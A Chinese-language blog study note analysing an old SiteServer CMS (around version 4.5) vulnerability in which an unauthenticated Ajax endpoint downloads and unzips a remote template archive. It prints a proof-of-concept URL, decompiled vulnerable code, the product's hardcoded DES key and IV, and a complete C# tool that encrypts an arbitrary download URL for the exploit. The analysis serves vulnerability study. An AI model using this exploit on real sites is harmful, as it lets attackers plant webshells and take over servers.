• 学习笔记-.net安全之SiteServer远程下载分析


    0x00 简介

    在N年前有个siteserver的远程getshell,其实这个洞很简单,问题出在下载模板这里。

    找个低版本4.5左右的siteserver下载

    0x01 漏洞成因

    POC

    192.168.110.129:8081/siteserver/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=hello&downloadUrl=ZjYIub0slash0YxA1HKHKT0add0CAWlTomu1H0add0qeh9upSVU73ZzMc0equals0&directoryName=hello

    问题文件出在Ajax/ajaxOtherService.aspx我们可以看到参数SiteTemplateDownload,顾名思义 站点模板下载,比较明显的后台管理方面的漏洞。

    找到对应文件,进行反编译看看源码。

    code 0x00

    1. public void Page_Load(object sender, EventArgs e)
    2. {
    3. string a = base.Request["type"];
    4. NameValueCollection attributes = new NameValueCollection();
    5. string text = null;
    6. RequestBody body = new RequestBody();
    7. if (a == "GetCountArray")
    8. {
    9. string userKeyPrefix = base.Request["userKeyPrefix"];
    10. attributes = this.GetCountArray(userKeyPrefix);
    11. }
    12. else if (a == "SiteTemplateDownload")
    13. {
    14. string userKeyPrefix2 = base.Request["userKeyPrefix"];
    15. string downloadUrl = TranslateUtils.DecryptStringBySecretKey(base.Request["downloadUrl"]);
    16. string directoryName = base.Request["directoryName"];
    17. attributes = this.SiteTemplateDownload(downloadUrl, directoryName, userKeyPrefix2);
    18. }
    19. ...

    提出无关代码,当传入的typeSiteTemplateDownload的时候用DecryptStringBySecretKey函数对downloadurl进行了解密,跟进这个函数。

    1. >code 0x01
    2. public static string DecryptStringBySecretKey(string inputString)
    3. {
    4. if (string.IsNullOrEmpty(inputString))
    5. {
    6. return string.Empty;
    7. }
    8. inputString = inputString.Replace("0add0", "+").Replace("0equals0", "=").Replace("0and0", "&").Replace("0question0", "?").Replace("0quote0", "'").Replace("0slash0", "/");
    9. DESEncryptor desencryptor = new DESEncryptor();
    10. desencryptor.InputString = inputString;
    11. desencryptor.DecryptKey = FileConfigManager.Instance.SecretKey;
    12. desencryptor.DesDecrypt();
    13. return desencryptor.OutString;
    14. }

    对传入的值进行简单替换,然后调用DesDecrypt进行解密,跟进此函数。

    code 0x02

    1. public void DesDecrypt()
    2. {
    3. byte[] rgbIV = new byte[]
    4. {
    5. 18,
    6. 52,
    7. 86,
    8. 120,
    9. 144,
    10. 171,
    11. 205,
    12. 239
    13. };
    14. byte[] array = new byte[this.inputString.Length];
    15. try
    16. {
    17. byte[] bytes = Encoding.UTF8.GetBytes(this.decryptKey.Substring(0, 8));
    18. DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
    19. array = Convert.FromBase64String(this.inputString);
    20. MemoryStream memoryStream = new MemoryStream();
    21. CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
    22. cryptoStream.Write(array, 0, array.Length);
    23. cryptoStream.FlushFinalBlock();
    24. Encoding encoding = new UTF8Encoding();
    25. this.outString = encoding.GetString(memoryStream.ToArray());
    26. }
    27. catch (Exception ex)
    28. {
    29. this.noteMessage = ex.Message;
    30. }
    31. }

    可以看到是个DES加密。 其中密匙DecryptKey在上一块代码区指向FileConfigManager.Instance.SecretKey

    KEY:

    public string SecretKey { get; } = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";

    知道密匙和加密方法,很简单就能写出加密解密方法,直接可以直接扣他的代码这里直接写加密方式。

    DesEncrypt:

    1. using System;
    2. using System.Collections.Generic;
    3. using System.IO;
    4. using System.Linq;
    5. using System.Security.Cryptography;
    6. using System.Text;
    7. using System.Threading.Tasks;
    8. namespace siteserver
    9. {
    10. class Program
    11. {
    12. static void Main(string[] args)
    13. {
    14. DesEncrypt("www.baidu.com/1.zip");
    15. }
    16. static public void DesEncrypt(string inputString)
    17. {
    18. string encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
    19. byte[] rgbIV = new byte[]
    20. {
    21. 18,
    22. 52,
    23. 86,
    24. 120,
    25. 144,
    26. 171,
    27. 205,
    28. 239
    29. };
    30. try
    31. {
    32. byte[] bytes = Encoding.UTF8.GetBytes((encryptKey.Length > 8) ? encryptKey.Substring(0, 8) : encryptKey);
    33. DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
    34. byte[] bytes2 = Encoding.UTF8.GetBytes(inputString);
    35. MemoryStream memoryStream = new MemoryStream();
    36. CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateEncryptor(bytes, rgbIV), CryptoStreamMode.Write);
    37. cryptoStream.Write(bytes2, 0, bytes2.Length);
    38. cryptoStream.FlushFinalBlock();
    39. Console.WriteLine(Convert.ToBase64String(memoryStream.ToArray()).Replace("+", "0add0").Replace("=", "0equals0").Replace("&", "0and0").Replace("?", "0question0").Replace("'", "0quote0").Replace("/", "0slash0"));
    40. }
    41. catch (Exception ex)
    42. {
    43. }
    44. }
    45. }
    46. }

    在POC中还有参数userKeyPrefixdirectoryNamecode 0x00中看到参数传入SiteTemplateDownload函数,继续跟进。

    1. public NameValueCollection SiteTemplateDownload(string downloadUrl, string directoryName, string userKeyPrefix)
    2. {
    3. string key = userKeyPrefix + "_TotalCount";
    4. string key2 = userKeyPrefix + "_CurrentCount";
    5. string key3 = userKeyPrefix + "_Message";
    6. CacheUtils.Max(key, "5");
    7. CacheUtils.Max(key2, "0");
    8. CacheUtils.Max(key3, string.Empty);
    9. NameValueCollection progressTaskNameValueCollection;
    10. try
    11. {
    12. CacheUtils.Max(key2, "1");
    13. CacheUtils.Max(key3, "开始下载模板压缩包,可能需要10到30分钟,请耐心等待");
    14. string siteTemplatesPath = PathUtility.GetSiteTemplatesPath(directoryName + ".zip");
    15. FileUtils.DeleteFileIfExists(siteTemplatesPath);
    16. WebClientUtils.SaveRemoteFileToLocal(downloadUrl, siteTemplatesPath);
    17. CacheUtils.Max(key2, "4");
    18. CacheUtils.Max(key3, "模板压缩包下载成功,开始解压缩");
    19. string siteTemplatesPath2 = PathUtility.GetSiteTemplatesPath(directoryName);
    20. if (!DirectoryUtils.IsDirectoryExists(siteTemplatesPath2))
    21. {
    22. ZipUtils.UnpackFiles(siteTemplatesPath, siteTemplatesPath2);
    23. }
    24. CacheUtils.Max(key2, "5");
    25. CacheUtils.Max(key3, string.Empty);
    26. progressTaskNameValueCollection = AjaxManager.GetProgressTaskNameValueCollection("站点模板下载成功,请到站点模板管理中查看。", string.Empty);
    27. }
    28. catch (Exception ex)
    29. {
    30. progressTaskNameValueCollection = AjaxManager.GetProgressTaskNameValueCollection(string.Empty, string.Format("
      下载失败!
      {0}"
      , ex.Message));
    31. }
    32. CacheUtils.Remove(key);
    33. CacheUtils.Remove(key2);
    34. CacheUtils.Remove(key3);
    35. return progressTaskNameValueCollection;
    36. }

    userKeyPrefix 基本不用管,directoryName为下载到本地的zip名,下载后zip自动解压,所以漏洞就形成了。

    0x02 漏洞复现

    0x03 总结

    存在这个漏洞的首要原因是Ajax/ajaxOtherService.aspx文件没有限制权限,任何人都可以访问,在后台中,模板下载上传,往往是GETSHELL的关键点。

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    基于最大熵图像插值Maximum Entropy插值算法的图像超分辨重构研究-附Matlab代码
    Qt事件过滤器的使用
    聚观早报|高德发布安全出行大模型;小鹏G9焕新上市
    性价比高一点的蓝牙耳机有哪几款?高性价比蓝牙耳机推荐
    【前端】JavaScript-DOM基础1
    循环结构的运用
    Python 人工智能编程指南:基础、库和工具大全解析
    Tensorflow C++部署实战-linux平台上C++编译环境建立(3)
    Linux基础:2:shell外壳+文件权限
    如何截取视频中的一段视频?分享几种视频分割方法
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127729792